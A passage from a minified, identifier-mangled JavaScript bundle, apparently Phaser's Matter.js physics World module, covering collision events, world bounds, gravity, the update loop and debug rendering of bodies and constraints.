'afterRemove', function (_0x1f12fe) { _0x3f5ae5['emit'](_0x3bb713['AFTER_REMOVE'], _0x1f12fe); }), _0x2fae77['on'](_0x122077, 'beforeUpdate', function (_0x2431d7) { _0x3f5ae5['emit'](_0x3bb713['BEFORE_UPDATE'], _0x2431d7); }), _0x2fae77['on'](_0x122077, 'afterUpdate', function (_0xa7fcbf) { _0x3f5ae5['emit'](_0x3bb713['AFTER_UPDATE'], _0xa7fcbf); }), _0x2fae77['on'](_0x122077, 'collisionStart', function (_0x4c68b1) { var _0x1343bb, _0x1fb343, _0x17a0c7 = _0x4c68b1['pairs']; _0x17a0c7['length'] > 0x0 && _0x17a0c7['map'](function (_0x2d8dc9) { _0x1343bb = _0x2d8dc9['bodyA'], _0x1fb343 = _0x2d8dc9['bodyB'], _0x1343bb['gameObject'] && _0x1343bb['gameObject']['emit']('collide', _0x1343bb, _0x1fb343, _0x2d8dc9), _0x1fb343['gameObject'] && _0x1fb343['gameObject']['emit']('collide', _0x1fb343, _0x1343bb, _0x2d8dc9), _0x2fae77['trigger'](_0x1343bb, 'onCollide', { 'pair': _0x2d8dc9 }), _0x2fae77['trigger'](_0x1fb343, 'onCollide', { 'pair': _0x2d8dc9 }), _0x1343bb['onCollideCallback'] && _0x1343bb['onCollideCallback'](_0x2d8dc9), _0x1fb343['onCollideCallback'] && _0x1fb343['onCollideCallback'](_0x2d8dc9), _0x1343bb['onCollideWith'][_0x1fb343['id']] && _0x1343bb['onCollideWith'][_0x1fb343['id']](_0x1fb343, _0x2d8dc9), _0x1fb343['onCollideWith'][_0x1343bb['id']] && _0x1fb343['onCollideWith'][_0x1343bb['id']](_0x1343bb, _0x2d8dc9); }), _0x3f5ae5['emit'](_0x3bb713['COLLISION_START'], _0x4c68b1, _0x1343bb, _0x1fb343); }), _0x2fae77['on'](_0x122077, 'collisionActive', function (_0x57e781) { var _0x28dc72, _0x57d1d4, _0x5a36ec = _0x57e781['pairs']; _0x5a36ec['length'] > 0x0 && _0x5a36ec['map'](function (_0x1a6c44) { _0x28dc72 = _0x1a6c44['bodyA'], _0x57d1d4 = _0x1a6c44['bodyB'], _0x28dc72['gameObject'] && _0x28dc72['gameObject']['emit']('collideActive', _0x28dc72, _0x57d1d4, _0x1a6c44), _0x57d1d4['gameObject'] && _0x57d1d4['gameObject']['emit']('collideActive', _0x57d1d4, _0x28dc72, _0x1a6c44), _0x2fae77['trigger'](_0x28dc72, 'onCollideActive', { 'pair': _0x1a6c44 }), _0x2fae77['trigger'](_0x57d1d4, 'onCollideActive', { 'pair': _0x1a6c44 }), _0x28dc72['onCollideActiveCallback'] && _0x28dc72['onCollideActiveCallback'](_0x1a6c44), _0x57d1d4['onCollideActiveCallback'] && _0x57d1d4['onCollideActiveCallback'](_0x1a6c44); }), _0x3f5ae5['emit'](_0x3bb713['COLLISION_ACTIVE'], _0x57e781, _0x28dc72, _0x57d1d4); }), _0x2fae77['on'](_0x122077, 'collisionEnd', function (_0x20651a) { var _0x24a04b, _0x27b887, _0x3a93c9 = _0x20651a['pairs']; _0x3a93c9['length'] > 0x0 && _0x3a93c9['map'](function (_0x1f38ff) { _0x24a04b = _0x1f38ff['bodyA'], _0x27b887 = _0x1f38ff['bodyB'], _0x24a04b['gameObject'] && _0x24a04b['gameObject']['emit']('collideEnd', _0x24a04b, _0x27b887, _0x1f38ff), _0x27b887['gameObject'] && _0x27b887['gameObject']['emit']('collideEnd', _0x27b887, _0x24a04b, _0x1f38ff), _0x2fae77['trigger'](_0x24a04b, 'onCollideEnd', { 'pair': _0x1f38ff }), _0x2fae77['trigger'](_0x27b887, 'onCollideEnd', { 'pair': _0x1f38ff }), _0x24a04b['onCollideEndCallback'] && _0x24a04b['onCollideEndCallback'](_0x1f38ff), _0x27b887['onCollideEndCallback'] && _0x27b887['onCollideEndCallback'](_0x1f38ff); }), _0x3f5ae5['emit'](_0x3bb713['COLLISION_END'], _0x20651a, _0x24a04b, _0x27b887); }); }, 'setBounds': function (_0x463d06, _0x2286cd, _0x3e7b39, _0x56de99, _0x5bc652, _0x594d0b, _0x4920df, _0x62164d, _0x44d452) { return void 0x0 === _0x463d06 && (_0x463d06 = 0x0), void 0x0 === _0x2286cd && (_0x2286cd = 0x0), void 0x0 === _0x3e7b39 && (_0x3e7b39 = this['scene']['sys']['scale']['width']), void 0x0 === _0x56de99 && (_0x56de99 = this['scene']['sys']['scale']['height']), void 0x0 === _0x5bc652 && (_0x5bc652 = 0x40), void 0x0 === _0x594d0b && (_0x594d0b = !0x0), void 0x0 === _0x4920df && (_0x4920df = !0x0), void 0x0 === _0x62164d && (_0x62164d = !0x0), void 0x0 === _0x44d452 && (_0x44d452 = !0x0), this['updateWall'](_0x594d0b, 'left', _0x463d06 - _0x5bc652, _0x2286cd - _0x5bc652, _0x5bc652, _0x56de99 + 0x2 * _0x5bc652), this['updateWall'](_0x4920df, 'right', _0x463d06 + _0x3e7b39, _0x2286cd - _0x5bc652, _0x5bc652, _0x56de99 + 0x2 * _0x5bc652), this['updateWall'](_0x62164d, 'top', _0x463d06, _0x2286cd - _0x5bc652, _0x3e7b39, _0x5bc652), this['updateWall'](_0x44d452, 'bottom', _0x463d06, _0x2286cd + _0x56de99, _0x3e7b39, _0x5bc652), this; }, 'updateWall': function (_0x445afe, _0x16edb4, _0x3e0ddf, _0x519676, _0xbd4df1, _0xa04c59) { var _0x4e8e05 = this['walls'][_0x16edb4]; _0x445afe ? (_0x4e8e05 && _0x220fdd['remove'](this['localWorld'], _0x4e8e05), _0x3e0ddf += _0xbd4df1 / 0x2, _0x519676 += _0xa04c59 / 0x2, this['walls'][_0x16edb4] = this['create'](_0x3e0ddf, _0x519676, _0xbd4df1, _0xa04c59, { 'isStatic': !0x0, 'friction': 0x0, 'frictionStatic': 0x0 })) : (_0x4e8e05 && _0x220fdd['remove'](this['localWorld'], _0x4e8e05), this['walls'][_0x16edb4] = null); }, 'createDebugGraphic': function () { var _0x40c255 = this['scene']['sys']['add']['graphics']({ 'x': 0x0, 'y': 0x0 }); return _0x40c255['setDepth'](Number['MAX_VALUE']), this['debugGraphic'] = _0x40c255, this['drawDebug'] = !0x0, _0x40c255; }, 'disableGravity': function () { return this['localWorld']['gravity']['x'] = 0x0, this['localWorld']['gravity']['y'] = 0x0, this['localWorld']['gravity']['scale'] = 0x0, this; }, 'setGravity': function (_0x10f61c, _0x40d024, _0x308948) { return void 0x0 === _0x10f61c && (_0x10f61c = 0x0), void 0x0 === _0x40d024 && (_0x40d024 = 0x1), void 0x0 === _0x308948 && (_0x308948 = 0.001), this['localWorld']['gravity']['x'] = _0x10f61c, this['localWorld']['gravity']['y'] = _0x40d024, this['localWorld']['gravity']['scale'] = _0x308948, this; }, 'create': function (_0x36c4c9, _0x300463, _0x555139, _0x3c3b0d, _0x76e660) { var _0x2c00e2 = _0x509a4e['rectangle'](_0x36c4c9, _0x300463, _0x555139, _0x3c3b0d, _0x76e660); return _0x220fdd['add'](this['localWorld'], _0x2c00e2), _0x2c00e2; }, 'add': function (_0x2b362d) { return _0x220fdd['add'](this['localWorld'], _0x2b362d), this; }, 'remove': function (_0x3920bf, _0x5339e9) { Array['isArray'](_0x3920bf) || (_0x3920bf = [_0x3920bf]); for (var _0x5d9e47 = 0x0; _0x5d9e47 < _0x3920bf['length']; _0x5d9e47++) { var _0x583235 = _0x3920bf[_0x5d9e47], _0x49b339 = _0x583235['body'] ? _0x583235['body'] : _0x583235; _0x22913f['remove'](this['localWorld'], _0x49b339, _0x5339e9); } return this; }, 'removeConstraint': function (_0x49eea6, _0x43b78d) { return _0x22913f['remove'](this['localWorld'], _0x49eea6, _0x43b78d), this; }, 'convertTilemapLayer': function (_0x15f8ee, _0x283a4e) { var _0x2b514a = _0x15f8ee['layer'], _0x2961f9 = _0x15f8ee['getTilesWithin'](0x0, 0x0, _0x2b514a['width'], _0x2b514a['height'], { 'isColliding': !0x0 }); return this['convertTiles'](_0x2961f9, _0x283a4e), this; }, 'convertTiles': function (_0x1a9150, _0x5a67c8) { if (0x0 === _0x1a9150['length']) return this; for (var _0x33fddd = 0x0; _0x33fddd < _0x1a9150['length']; _0x33fddd++)new _0x302a8b(this, _0x1a9150[_0x33fddd], _0x5a67c8); return this; }, 'nextGroup': function (_0x6ee3a1) { return _0x41867d['nextGroup'](_0x6ee3a1); }, 'nextCategory': function () { return _0x41867d['nextCategory'](); }, 'pause': function () { return this['enabled'] = !0x1, this['emit'](_0x3bb713['PAUSE']), this; }, 'resume': function () { return this['enabled'] = !0x0, this['runner']['timeLastTick'] = _0x5ca3fe['now'](), this['emit'](_0x3bb713['RESUME']), this; }, 'update': function (_0x50ca95) { if (this['enabled'] && this['autoUpdate']) { var _0x167ca7 = this['engine'], _0x5e9708 = this['runner'], _0x473f16 = _0x5ca3fe['now'](), _0x271af3 = _0x5e9708['delta'], _0x2330fd = 0x0, _0x146cfb = _0x50ca95 - _0x5e9708['timeLastTick']; if ((!_0x146cfb || !_0x5e9708['timeLastTick'] || _0x146cfb > Math['max'](_0x127157['_maxFrameDelta'], _0x5e9708['maxFrameTime'])) && (_0x146cfb = _0x5e9708['frameDelta'] || _0x127157['_frameDeltaFallback']), _0x5e9708['frameDeltaSmoothing']) { _0x5e9708['frameDeltaHistory']['push'](_0x146cfb), _0x5e9708['frameDeltaHistory'] = _0x5e9708['frameDeltaHistory']['slice'](-_0x5e9708['frameDeltaHistorySize']); var _0x1bca71 = _0x5e9708['frameDeltaHistory']['slice'](0x0)['sort'](), _0x4f5371 = _0x5e9708['frameDeltaHistory']['slice'](_0x1bca71['length'] * _0x127157['_smoothingLowerBound'], _0x1bca71['length'] * _0x127157['_smoothingUpperBound']); _0x146cfb = _0x127157['_mean'](_0x4f5371) || _0x146cfb; } _0x5e9708['frameDeltaSnapping'] && (_0x146cfb = 0x3e8 / Math['round'](0x3e8 / _0x146cfb)), _0x5e9708['frameDelta'] = _0x146cfb, _0x5e9708['timeLastTick'] = _0x50ca95, _0x5e9708['timeBuffer'] += _0x5e9708['frameDelta'], _0x5e9708['timeBuffer'] = _0x5ca3fe['clamp'](_0x5e9708['timeBuffer'], 0x0, _0x5e9708['frameDelta'] + _0x271af3 * _0x127157['_timeBufferMargin']), _0x5e9708['lastUpdatesDeferred'] = 0x0; for (var _0x590817 = _0x5e9708['maxUpdates'] || Math['ceil'](_0x5e9708['maxFrameTime'] / _0x271af3), _0x1ecbfd = _0x5ca3fe['now'](); _0x271af3 > 0x0 && _0x5e9708['timeBuffer'] >= _0x271af3 * _0x127157['_timeBufferMargin'];) { _0x3262b9['update'](_0x167ca7, _0x271af3), _0x5e9708['timeBuffer'] -= _0x271af3, _0x2330fd += 0x1; var _0x522c13 = _0x5ca3fe['now']() - _0x473f16, _0x3811a8 = _0x5ca3fe['now']() - _0x1ecbfd, _0xb83b79 = _0x522c13 + _0x127157['_elapsedNextEstimate'] * _0x3811a8 / _0x2330fd; if (_0x2330fd >= _0x590817 || _0xb83b79 > _0x5e9708['maxFrameTime']) { _0x5e9708['lastUpdatesDeferred'] = Math['round'](Math['max'](0x0, _0x5e9708['timeBuffer'] / _0x271af3 - _0x127157['_timeBufferMargin'])); break; } } } }, 'step': function (_0x27c960) { _0x3262b9['update'](this['engine'], _0x27c960); }, 'update60Hz': function () { return 0x3e8 / 0x3c; }, 'update30Hz': function () { return 0x3e8 / 0x1e; }, 'has': function (_0x536dea) { var _0x5de918 = _0x536dea['hasOwnProperty']('body') ? _0x536dea['body'] : _0x536dea; return null !== _0x22913f['get'](this['localWorld'], _0x5de918['id'], _0x5de918['type']); }, 'getAllBodies': function () { return _0x22913f['allBodies'](this['localWorld']); }, 'getAllConstraints': function () { return _0x22913f['allConstraints'](this['localWorld']); }, 'getAllComposites': function () { return _0x22913f['allComposites'](this['localWorld']); }, 'postUpdate': function () { if (this['drawDebug']) { var _0x89ddf9 = this['debugConfig'], _0x477e5b = this['engine'], _0x549f4d = this['debugGraphic'], _0x46858a = _0x22913f['allBodies'](this['localWorld']); this['debugGraphic']['clear'](), _0x89ddf9['showBroadphase'] && _0x477e5b['broadphase']['controller'] && this['renderGrid'](_0x477e5b['broadphase'], _0x549f4d, _0x89ddf9['broadphaseColor'], 0.5), _0x89ddf9['showBounds'] && this['renderBodyBounds'](_0x46858a, _0x549f4d, _0x89ddf9['boundsColor'], 0.5), (_0x89ddf9['showBody'] || _0x89ddf9['showStaticBody']) && this['renderBodies'](_0x46858a), _0x89ddf9['showJoint'] && this['renderJoints'](), (_0x89ddf9['showAxes'] || _0x89ddf9['showAngleIndicator']) && this['renderBodyAxes'](_0x46858a, _0x549f4d, _0x89ddf9['showAxes'], _0x89ddf9['angleColor'], 0.5), _0x89ddf9['showVelocity'] && this['renderBodyVelocity'](_0x46858a, _0x549f4d, _0x89ddf9['velocityColor'], 0x1, 0x2), _0x89ddf9['showSeparations'] && this['renderSeparations'](_0x477e5b['pairs']['list'], _0x549f4d, _0x89ddf9['separationColor']), _0x89ddf9['showCollisions'] && this['renderCollisions'](_0x477e5b['pairs']['list'], _0x549f4d, _0x89ddf9['collisionColor']); } }, 'renderGrid': function (_0xcd05d7, _0x36da5c, _0x53a499, _0xcb8381) { _0x36da5c['lineStyle'](0x1, _0x53a499, _0xcb8381); for (var _0x253f00 = _0x5ca3fe['keys'](_0xcd05d7['buckets']), _0x31d703 = 0x0; _0x31d703 < _0x253f00['length']; _0x31d703++) { var _0x5dc246 = _0x253f00[_0x31d703]; if (!(_0xcd05d7['buckets'][_0x5dc246]['length'] < 0x2)) { var _0x3599a4 = _0x5dc246['split'](/C|R/); _0x36da5c['strokeRect'](parseInt(_0x3599a4[0x1], 0xa) * _0xcd05d7['bucketWidth'], parseInt(_0x3599a4[0x2], 0xa) * _0xcd05d7['bucketHeight'], _0xcd05d7['bucketWidth'], _0xcd05d7['bucketHeight']); } } return this; }, 'renderSeparations': function (_0x406164, _0x30e01f, _0x534b4e) { _0x30e01f['lineStyle'](0x1, _0x534b4e, 0x1); for (var _0x6be2d6 = 0x0; _0x6be2d6 < _0x406164['length']; _0x6be2d6++) { var _0x37f4ec = _0x406164[_0x6be2d6]; if (_0x37f4ec['isActive']) { var _0x6e1f88 = _0x37f4ec['collision'], _0x5a06a7 = _0x6e1f88['bodyA'], _0x1246c0 = _0x6e1f88['bodyB'], _0x5182f3 = _0x5a06a7['position'], _0x42ae4b = _0x1246c0['position'], _0x58c220 = _0x6e1f88['penetration'], _0x52760a = _0x5a06a7['isStatic'] || _0x1246c0['isStatic'] ? 0x1 : 0x4; _0x1246c0['isStatic'] && (_0x52760a = 0x0), _0x30e01f['lineBetween'](_0x42ae4b['x'], _0x42ae4b['y'], _0x42ae4b['x'] - _0x58c220['x'] * _0x52760a, _0x42ae4b['y'] - _0x58c220['y'] * _0x52760a), _0x52760a = _0x5a06a7['isStatic'] || _0x1246c0['isStatic'] ? 0x1 : 0x4, _0x5a06a7['isStatic'] && (_0x52760a = 0x0), _0x30e01f['lineBetween'](_0x5182f3['x'], _0x5182f3['y'], _0x5182f3['x'] - _0x58c220['x'] * _0x52760a, _0x5182f3['y'] - _0x58c220['y'] * _0x52760a); } } return this; }, 'renderCollisions': function (_0x209c4f, _0x4d4d08, _0x35f096) { var _0x4eb3d6, _0x1e953f; for (_0x4d4d08['lineStyle'](0x1, _0x35f096, 0.5), _0x4d4d08['fillStyle'](_0x35f096, 0x1), _0x4eb3d6 = 0x0; _0x4eb3d6 < _0x209c4f['length']; _0x4eb3d6++)if ((_0x1e953f = _0x209c4f[_0x4eb3d6])['isActive']) for (var _0xa7334f = 0x0; _0xa7334f < _0x1e953f['contactCount']; _0xa7334f++) { var _0x2e2b3c = _0x1e953f['contacts'][_0xa7334f]['vertex']; _0x2e2b3c && _0x4d4d08['fillRect'](_0x2e2b3c['x'] - 0x2, _0x2e2b3c['y'] - 0x2, 0x5, 0x5); } for (_0x4eb3d6 = 0x0; _0x4eb3d6 < _0x209c4f['length']; _0x4eb3d6++)if ((_0x1e953f = _0x209c4f[_0x4eb3d6])['isActive']) { var _0x39079e = _0x1e953f['collision'], _0x92a9fb = _0x1e953f['contacts']; if (_0x1e953f['contactCount'] > 0x0) { var _0xd7e4e = _0x92a9fb[0x0]['vertex']['x'], _0x1d9bca = _0x92a9fb[0x0]['vertex']['y']; 0x2 === _0x1e953f['contactCount'] && (_0xd7e4e = (_0x92a9fb[0x0]['vertex']['x'] + _0x92a9fb[0x1]['vertex']['x']) / 0x2, _0x1d9bca = (_0x92a9fb[0x0]['vertex']['y'] + _0x92a9fb[0x1]['vertex']['y']) / 0x2), _0x39079e['bodyB'] === _0x39079e['supports'][0x0]['body'] || _0x39079e['bodyA']['isStatic'] ? _0x4d4d08['lineBetween'](_0xd7e4e - 0x8 * _0x39079e['normal']['x'], _0x1d9bca - 0x8 * _0x39079e['normal']['y'], _0xd7e4e, _0x1d9bca) : _0x4d4d08['lineBetween'](_0xd7e4e + 0x8 * _0x39079e['normal']['x'], _0x1d9bca + 0x8 * _0x39079e['normal']['y'], _0xd7e4e, _0x1d9bca); } } return this; }, 'renderBodyBounds': function (_0xd27361, _0x3b3038, _0x2f837b, _0xdc293b) { _0x3b3038['lineStyle'](0x1, _0x2f837b, _0xdc293b); for (var _0x1fcdb0 = 0x0; _0x1fcdb0 < _0xd27361['length']; _0x1fcdb0++) { var _0x4829a0 = _0xd27361[_0x1fcdb0]; if (_0x4829a0['render']['visible']) { var _0x388b15 = _0x4829a0['bounds']; if (_0x388b15) _0x3b3038['strokeRect'](_0x388b15['min']['x'], _0x388b15['min']['y'], _0x388b15['max']['x'] - _0x388b15['min']['x'], _0x388b15['max']['y'] - _0x388b15['min']['y']); else for (var _0x26c1ac = _0x4829a0['parts'], _0xbe7c69 = _0x26c1ac['length'] > 0x1 ? 0x1 : 0x0; _0xbe7c69 < _0x26c1ac['length']; _0xbe7c69++) { var _0x58abd0 = _0x26c1ac[_0xbe7c69]; _0x3b3038['strokeRect'](_0x58abd0['bounds']['min']['x'], _0x58abd0['bounds']['min']['y'], _0x58abd0['bounds']['max']['x'] - _0x58abd0['bounds']['min']['x'], _0x58abd0['bounds']['max']['y'] - _0x58abd0['bounds']['min']['y']); } } } return this; }, 'renderBodyAxes': function (_0x57e268, _0x1d325b, _0x8f629a, _0x3ae6ab, _0x2e9897) { _0x1d325b['lineStyle'](0x1, _0x3ae6ab, _0x2e9897); for (var _0x25c0e1 = 0x0; _0x25c0e1 < _0x57e268['length']; _0x25c0e1++) { var _0x123f23, _0xd521f6, _0x296943, _0x33f174 = _0x57e268[_0x25c0e1], _0x506af4 = _0x33f174['parts']; if (_0x33f174['render']['visible']) { if (_0x8f629a) { for (_0xd521f6 = _0x506af4['length'] > 0x1 ? 0x1 : 0x0; _0xd521f6 < _0x506af4['length']; _0xd521f6++)for (_0x123f23 = _0x506af4[_0xd521f6], _0x296943 = 0x0; _0x296943 < _0x123f23['axes']['length']; _0x296943++) { var _0x19b96b = _0x123f23['axes'][_0x296943]; _0x1d325b['lineBetween'](_0x123f23['position']['x'], _0x123f23['position']['y'], _0x123f23['position']['x'] + 0x14 * _0x19b96b['x'], _0x123f23['position']['y'] + 0x14 * _0x19b96b['y']); } } else { for (_0xd521f6 = _0x506af4['length'] > 0x1 ? 0x1 : 0x0; _0xd521f6 < _0x506af4['length']; _0xd521f6++)for (_0x123f23 = _0x506af4[_0xd521f6], _0x296943 = 0x0; _0x296943 < _0x123f23['axes']['length']; _0x296943++)_0x1d325b['lineBetween'](_0x123f23['position']['x'], _0x123f23['position']['y'], (_0x123f23['vertices'][0x0]['x'] + _0x123f23['vertices'][_0x123f23['vertices']['length'] - 0x1]['x']) / 0x2, (_0x123f23['vertices'][0x0]['y'] + _0x123f23['vertices'][_0x123f23['vertices']['length'] - 0x1]['y']) / 0x2); } } } return this; }, 'renderBodyVelocity': function (_0x3b50bc, _0x9ce9e7, _0x2d5eff, _0x11a735, _0x1ded64) { _0x9ce9e7['lineStyle'](_0x1ded64, _0x2d5eff, _0x11a735); for (var _0x5c8cb9 = 0x0; _0x5c8cb9 < _0x3b50bc['length']; _0x5c8cb9++) { var _0x40d26f = _0x3b50bc[_0x5c8cb9]; _0x40d26f['render']['visible'] && _0x9ce9e7['lineBetween'](_0x40d26f['position']['x'], _0x40d26f['position']['y'], _0x40d26f['position']['x'] + 0x2 * (_0x40d26f['position']['x'] - _0x40d26f['positionPrev']['x']), _0x40d26f['position']['y'] + 0x2 * (_0x40d26f['position']['y'] - _0x40d26f['positionPrev']['y'])); } return this; }, 'renderBodies': function (_0x1d2b6e) { for (var _0x1f106e = this['debugGraphic'], _0x1ed551 = this['debugConfig'], _0x3e2340 = _0x1ed551['showBody'], _0x58661d = _0x1ed551['showStaticBody'], _0x553d72 = _0x1ed551['showSleeping'], _0x4784dc = _0x1ed551['showInternalEdges'], _0x1a04b4 = _0x1ed551['showConvexHulls'], _0x11d141 = _0x1ed551['renderFill'], _0x4f3876 = _0x1ed551['renderLine'], _0x243673 = _0x1ed551['staticBodySleepOpacity'], _0x26cf9f = _0x1ed551['sleepFillColor'], _0x52c26d = _0x1ed551['sleepLineColor'], _0x46e0d1 = _0x1ed551['hullColor'], _0x2c5752 = 0x0; _0x2c5752 < _0x1d2b6e['length']; _0x2c5752++) { var _0x1969f5 = _0x1d2b6e[_0x2c5752]; if (_0x1969f5['render']['visible'] && (_0x58661d || !_0x1969f5['isStatic']) && (_0x3e2340 || _0x1969f5['isStatic'])) { var _0x55fea4 = _0x1969f5['render']['lineColor'], _0x1f76dc = _0x1969f5['render']['lineOpacity'], _0xcfb8bd = _0x1969f5['render']['lineThickness'], _0x36fc72 = _0x1969f5['render']['fillColor'], _0x58127 = _0x1969f5['render']['fillOpacity']; _0x553d72 && _0x1969f5['isSleeping'] && (_0x1969f5['isStatic'] ? (_0x1f76dc *= _0x243673, _0x58127 *= _0x243673) : (_0x55fea4 = _0x52c26d, _0x36fc72 = _0x26cf9f)), _0x11d141 || (_0x36fc72 = null), _0x4f3876 || (_0x55fea4 = null), this['renderBody'](_0x1969f5, _0x1f106e, _0x4784dc, _0x55fea4, _0x1f76dc, _0xcfb8bd, _0x36fc72, _0x58127); var _0x247c47 = _0x1969f5['parts']['length']; _0x1a04b4 && _0x247c47 > 0x1 && this['renderConvexHull'](_0x1969f5, _0x1f106e, _0x46e0d1, _0xcfb8bd); } } }, 'renderBody': function (_0x330444, _0x56924c, _0x3e57e9, _0x3f6995, _0x2e2027, _0x76fbf, _0x3ebaee, _0x2332f8) { void 0x0 === _0x3f6995 && (_0x3f6995 = null), void 0x0 === _0x2e2027 && (_0x2e2027 = null), void 0x0 === _0x76fbf && (_0x76fbf = 0x1), void 0x0 === _0x3ebaee && (_0x3ebaee = null), void 0x0 === _0x2332f8 && (_0x2332f8 = null); for (var _0x3d460c = this['debugConfig'], _0x47a241 = _0x3d460c['sensorFillColor'], _0x4550ad = _0x3d460c['sensorLineColor'], _0x2f9744 = _0x330444['parts'], _0x2e367a = _0x2f9744['length'], _0x564204 = _0x2e367a > 0x1 ? 0x1 : 0x0; _0x564204 < _0x2e367a; _0x564204++) { var _0x5b34c9 = _0x2f9744[_0x564204], _0x347015 = _0x5b34c9['render'], _0x580d19 = _0x347015['opacity']; if (_0x347015['visible'] && 0x0 !== _0x580d19 && (!_0x5b34c9['isSensor'] || _0x3d460c['showSensors'])) { var _0x1aa226 = _0x5b34c9['circleRadius']; if (_0x56924c['beginPath'](), _0x5b34c9['isSensor'] ? (null !== _0x3ebaee && _0x56924c['fillStyle'](_0x47a241, _0x2332f8 * _0x580d19), null !== _0x3f6995 && _0x56924c['lineStyle'](_0x76fbf, _0x4550ad, _0x2e2027 * _0x580d19)) : (null !== _0x3ebaee && _0x56924c['fillStyle'](_0x3ebaee, _0x2332f8 * _0x580d19), null !== _0x3f6995 && _0x56924c['lineStyle'](_0x76fbf, _0x3f6995, _0x2e2027 * _0x580d19)), _0x1aa226) _0x56924c['arc'](_0x5b34c9['position']['x'], _0x5b34c9['position']['y'], _0x1aa226, 0x0, 0x2 * Math['PI']); else { var _0x4b2957 = _0x5b34c9['vertices'], _0x40eaff = _0x4b2957['length']; _0x56924c['moveTo'](_0x4b2957[0x0]['x'], _0x4b2957[0x0]['y']); for (var _0x5d1bb4 = 0x1; _0x5d1bb4 < _0x40eaff; _0x5d1bb4++) { var _0x39ac83 = _0x4b2957[_0x5d1bb4]; if (!_0x4b2957[_0x5d1bb4 - 0x1]['isInternal'] || _0x3e57e9 ? _0x56924c['lineTo'](_0x39ac83['x'], _0x39ac83['y']) : _0x56924c['moveTo'](_0x39ac83['x'], _0x39ac83['y']), _0x5d1bb4 < _0x40eaff && _0x39ac83['isInternal'] && !_0x3e57e9) { var _0x24d7d2 = (_0x5d1bb4 + 0x1) % _0x40eaff; _0x56924c['moveTo'](_0x4b2957[_0x24d7d2]['x'], _0x4b2957[_0x24d7d2]['y']); } } _0x56924c['closePath'](); } null !== _0x3ebaee && _0x56924c['fillPath'](), null !== _0x3f6995 && _0x56924c['strokePath'](); } } if (_0x3d460c['showPositions'] && !_0x330444['isStatic']) { var _0x33d841 = _0x330444['position']['x'], _0x56ada3 = _0x330444['position']['y'], _0x44db89 = Math['ceil'](_0x3d460c['positionSize'] / 0x2); _0x56924c['fillStyle'](_0x3d460c['positionColor'], 0x1), _0x56924c['fillRect'](_0x33d841 - _0x44db89, _0x56ada3 - _0x44db89, _0x3d460c['positionSize'], _0x3d460c['positionSize']); } return this; }, 'renderConvexHull': function (_0x4517cf, _0x51b749, _0x8130f1, _0x216923) { if (void 0x0 === _0x216923 && (_0x216923 = 0x1), _0x4517cf['parts']['length'] > 0x1) { var _0x3b09e2 = _0x4517cf['vertices']; _0x51b749['lineStyle'](_0x216923, _0x8130f1), _0x51b749['beginPath'](), _0x51b749['moveTo'](_0x3b09e2[0x0]['x'], _0x3b09e2[0x0]['y']); for (var _0x3cb1da = 0x1; _0x3cb1da < _0x3b09e2['length']; _0x3cb1da++)_0x51b749['lineTo'](_0x3b09e2[_0x3cb1da]['x'], _0x3b09e2[_0x3cb1da]['y']); _0x51b749['lineTo'](_0x3b09e2[0x0]['x'], _0x3b09e2[0x0]['y']), _0x51b749['strokePath'](); } return this; }, 'renderJoints': function () { for (var _0x59af35 = this['debugGraphic'], _0x4d2c0f = _0x22913f['allConstraints'](this['localWorld']), _0x55d00c = 0x0; _0x55d00c < _0x4d2c0f['length']; _0x55d00c++) { var _0x55a955 = _0x4d2c0f[_0x55d00c]['render'], _0x421bb1 = _0x55a955['lineColor'], _0x37d587 = _0x55a955['lineOpacity'], _0x41dadd = _0x55a955['lineThickness'], _0x4616f4 = _0x55a955['pinSize'], _0x410479 = _0x55a955['anchorColor'], _0x4c4e44 = _0x55a955['anchorSize']; this['renderConstraint'](_0x4d2c0f[_0x55d00c], _0x59af35, _0x421bb1, _0x37d587, _0x41dadd, _0x4616f4, _0x410479, _0x4c4e44); } }, 'renderConstraint': function (_0x3e755c, _0x27b51a, _0x371a7e, _0x5b91b9, _0x4f6676, _0x2ed404, _0x729fa8, _0x264dcc) { var _0x63d6da = _0x3e755c['render']; if (!_0x63d6da['visible'] || !_0x3e755c['pointA'] || !_0x3e755c['pointB']) return this; _0x27b51a['lineStyle'](_0x4f6676, _0x371a7e, _0x5b91b9); var _0x1ffeb2, _0x448ab3, _0x4b1ef2 = _0x3e755c['bodyA'], _0x4be4a7 = _0x3e755c['bodyB']; if (_0x1ffeb2 = _0x4b1ef2 ? _0x20b0d0['add'](_0x4b1ef2['position'], _0x3e755c['pointA']) : _0x3e755c['pointA'], 'pin' === _0x63d6da['type']) _0x27b51a['strokeCircle'](_0x1ffeb2['x'], _0x1ffeb2['y'], _0x2ed404); else { if (_0x448ab3 = _0x4be4a7 ? _0x20b0d0['add'](_0x4be4a7['position'], _0x3e755c['pointB']) : _0x3e755c['pointB'], _0x27b51a['beginPath'](), _0x27b51a['moveTo'](_0x1ffeb2['x'], _0x1ffeb2['y']), 'spring' === _0x63d6da['type']) { for (var _0x35a2b6, _0x404599 = _0x20b0d0['sub'](_0x448ab3, _0x1ffeb2), _0x4af9fc = _0x20b0d0['perp'](_0x20b0d0['normalise'](_0x404599)), _0x3547a8 = Math['ceil'](_0x5ca3fe['clamp'](_0x3e755c['length'] / 0x5, 0xc, 0x14)), _0x101610 = 0x1; _0x101610 < _0x3547a8; _0x101610 += 0x1)_0x35a2b6 = _0x101610 % 0x2 == 0x0 ? 0x1 : -0x1, _0x27b51a['lineTo'](_0x1ffeb2['x'] + _0x404599['x'] * (_0x101610 / _0x3547a8) + _0x4af9fc['x'] * _0x35a2b6 * 0x4, _0x1ffeb2['y'] + _0x404599['y'] * (_0x101610 / _0x3547a8) + _0x4af9fc['y'] * _0x35a2b6 * 0x4); } _0x27b51a['lineTo'](_0x448ab3['x'], _0x448ab3['y']); } return _0x27b51a['strokePath'](), _0x63d6da['anchors'] && _0x264dcc > 0x0 && (_0x27b51a['fillStyle'](_0x729fa8), _0x27b51a['fillCircle'](_0x1ffeb2['x'], _0x1ffeb2['y'], _0x264dcc), _0x27b51a['fillCircle'](_0x448ab3['x'], _0x448ab3['y'], _0x264dcc)), this; }, 'resetCollisionIDs': function () { return _0x3ad39f['_nextCollidingGroupId'] = 0x1, _0x3ad39f['_nextNonCollidingGroupId'] = -0x1, _0x3ad39f['_nextCategory'] = 0x1, this; }, 'shutdown': function () { _0x2fae77['off'](this['engine']), this['removeAllListeners'](), _0x220fdd['clear'](this['localWorld'], !0x1), _0x3262b9['clear'](this['engine']), this['drawDebug'] && this['debugGraphic']['destroy'](); }, 'destroy': function () { this['shutdown'](); } }); _0x41e819['exports'] = _0x14a8a9; }, 0x1130a: _0x52a79a 